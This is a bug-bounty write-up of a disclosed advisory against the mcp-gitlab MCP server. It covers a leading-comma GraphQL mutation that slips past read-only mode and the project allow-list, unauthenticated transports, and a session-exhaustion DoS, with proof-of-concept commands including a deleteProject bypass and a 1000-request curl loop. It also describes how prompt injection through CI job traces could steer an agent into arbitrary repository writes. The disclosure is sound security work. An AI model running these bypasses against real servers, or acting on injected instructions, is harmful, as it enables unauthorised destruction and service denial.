# @zereight/mcp-gitlab has multiple safety-control bypasses: execute_graphql read-only + allow-list bypass, unauthenticated transports, session-exhaustion DoS

mcp-gitlab's execute_graphql bypasses read-only mode via leading comma and skips project allow-list, letting prompt-injected agents perform arbitrary GitLab writes.

- Payout: Research
- Severity: high
- Program: mcp-gitlab
- Found by: lwebmedia
- Disclosed: 2026-09-15
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5648-rgj9-v224
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5648-rgj9-v224
- Tags: area:ai domain:ai domain:api impact:dos impact:integrity kind:research platform:ghsa sev:high tech:graphql tech:llm technique:source-review vuln:access-control vuln:auth-bypass vuln:dos vuln:prompt-injection

**Target:** MCP server (execute_graphql tool, Streamable HTTP/SSE transports)
**Root cause:** execute_graphql's write detector regex requires mutation/subscription at start or after `;`/`}`, but GraphQL treats commas as insignificant and the stripper doesn't remove them, so `,mutation{...}` is classified read-only; the handler also never enforces project scope. Transport auth gates omit cookie/OAuth modes and validate tokens only syntactically.
**Steps:**
1. Read index.ts:9194-9245 execute_graphql handler; note guard at :9196 calls graphqlQueryContainsWriteOperation() from utils/graphql-query.ts
2. Observe detector strips comments/strings then matches `/(?:^|[};]\s*)(mutation|subscription)\b/`; commas not stripped
3. Confirm `isWrite("mutation{...}")` -> DETECTED but `isWrite(",mutation{...}")` -> BYPASS
4. Note handler never calls getEffectiveProjectId()/rejectIfProjectScopedDeployment(), so raw body reaches /api/graphql with server token
5. F2: start `STREAMABLE_HTTP=true GITLAB_AUTH_COOKIE_PATH=./cookies.txt node build/index.js`; POST unauthenticated `initialize` to `http://127.0.0.1:3002/mcp` succeeds
6. F4: send 1000 `initialize` requests with `Private-Token: aaaaaaaaaaaaaaaaaaaaaaaa`; subsequent legitimate initialize returns 503
**How found:** Source review of the MCP server's safety controls (read-only mode, allow-list, transport auth). Noticed the write-detection regex anchors on `^`/`;`/`}` and that the comment/string stripper leaves commas intact, then tested the leading-comma prefix against the replicated detector. Also compared execute_graphql's handler to other tools that call getEffectiveProjectId(), and audited the startup auth gate for missing hasCookie/useOAuth branches.
**Exploitation:** A prompt-injected agent or semi-trusted MCP client invokes execute_graphql with a body prefixed by a comma (` ,mutation{...}`) to perform arbitrary GitLab writes under read-only mode, against any project the server token can reach regardless of GITLAB_ALLOWED_PROJECT_IDS. Separately, when started with --cookie-path or --use-oauth, /mcp accepts unauthenticated callers who inherit the server's live GitLab session; on loopback this is reachable via DNS rebinding. ~1000 garbage-token initialize requests exhaust the 1000-session pool for 3600s, denying service.
**Escalation:** F5 CI job traces (attacker-influenceable via fork MR pipelines) feed instructions into model context; combined with F1 this escalates prompt injection to arbitrary GitLab writes.
**Insight:** When a security control is a regex over a language with insignificant tokens (GraphQL commas, JSON whitespace, SQL comments), test every insignificant separator as a prefix — the anchor `^` is defeated by any token the stripper doesn't remove. Also diff each tool handler against the ones that call the scope-enforcement helper; the odd one out is the bypass.

## Proof of concept (copied exactly from the original report)

**GraphQL read-only bypass via leading comma**

```
isWrite("mutation{deleteProject(input:{id:1}){errors}}")   -> DETECTED
    isWrite(",mutation{deleteProject(input:{id:1}){errors}}")  -> BYPASS (executes as a write under read-only mode)
```

**Unauthenticated /mcp initialize with cookie auth**

```
STREAMABLE_HTTP=true GITLAB_AUTH_COOKIE_PATH=./cookies.txt GITLAB_API_URL=http://localhost:8080/api/v4 node build/index.js
    # starts without an auth error; from another shell with NO credentials:
    curl -s http://127.0.0.1:3002/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' \
      -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}
```

**Session exhaustion DoS loop with garbage token**

```
for i in $(seq 1 1000); do curl -s -o /dev/null http://127.0.0.1:3002/mcp \
      -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' \
      -H 'Private-Token: aaaaaaaaaaaaaaaaaaaaaaaa' \
      -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"x","version":"0"}}}'; done
    # subsequent legitimate initialize -> 503 "Maximum 1000 concurrent sessions allowed"
```

